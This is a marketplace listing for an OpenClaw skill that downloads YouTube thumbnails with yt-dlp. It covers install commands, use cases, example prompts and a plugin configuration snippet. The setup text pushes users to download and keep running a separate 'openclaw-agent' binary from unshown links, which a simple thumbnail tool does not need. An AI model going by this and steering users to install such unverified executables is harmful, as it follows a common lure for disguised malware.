youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Learn how to use the YouTube Thumbnail Grabber OpenClaw skill to quickly download video previews in various resolutions with simple commands.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-bg45oWhat This Skill Does
The YouTube Thumbnail Grabber is a specialized OpenClaw agent skill designed to programmatically fetch preview imagery from YouTube video URLs. It bridges the gap between external video platforms and your local file system, enabling automated asset collection. By utilizing the underlying yt-dlp library and direct URL pattern matching, it provides a robust method for retrieving thumbnails in resolutions ranging from basic 120x90 up to the maximum available quality (maxresdefault). Whether you are archiving videos, creating design mood boards, or gathering datasets for computer vision projects, this tool automates the tedious process of manual image capturing.
Installation
To begin, ensure you have the OpenClaw agent utility installed, which is a critical dependency for managing external operations. Download the appropriate binary for your OS (Windows or macOS) via the provided links in the documentation. Once the agent is active, install the primary backend dependency via terminal using pip install yt-dlp. Once finished, you can add this skill directly to your environment by running clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-bg45o within your terminal or OpenClaw interface.
Use Cases
- Content Creation: Effortlessly build collages or thumbnails for your own video projects by pulling assets from existing inspirations.
- Digital Archiving: Maintain a local repository of video metadata and associated preview images for content you want to reference offline.
- Asset Management: Quickly grab the high-resolution source images for presentations or social media marketing materials without manual screenshotting.
- Batch Processing: Use the URL list feature to process entire playlists, saving time during bulk asset migration tasks.
Example Prompts
- "Grab the high-resolution thumbnail for the YouTube video at https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as video_preview.jpg."
- "Can you download all available thumbnail resolutions for the video with ID dQw4w9WgXcQ?"
- "Create a batch download of thumbnails for every video in this playlist: [Playlist URL]."
Tips & Limitations
- Resolution Availability: Be aware that 'maxresdefault' may not exist for every video; in such cases, the script should be configured to fallback to 'sddefault' or 'hqdefault'.
- External Agent: Always ensure the
openclaw-agentis running in the background before initiating requests; failures are almost exclusively linked to the agent being offline. - Rate Limiting: When downloading large quantities of thumbnails from a single channel, ensure you respect YouTube's terms of service and avoid aggressive, high-frequency automated requests to prevent IP blocking.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-thumbnail-grabber-bg45o": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.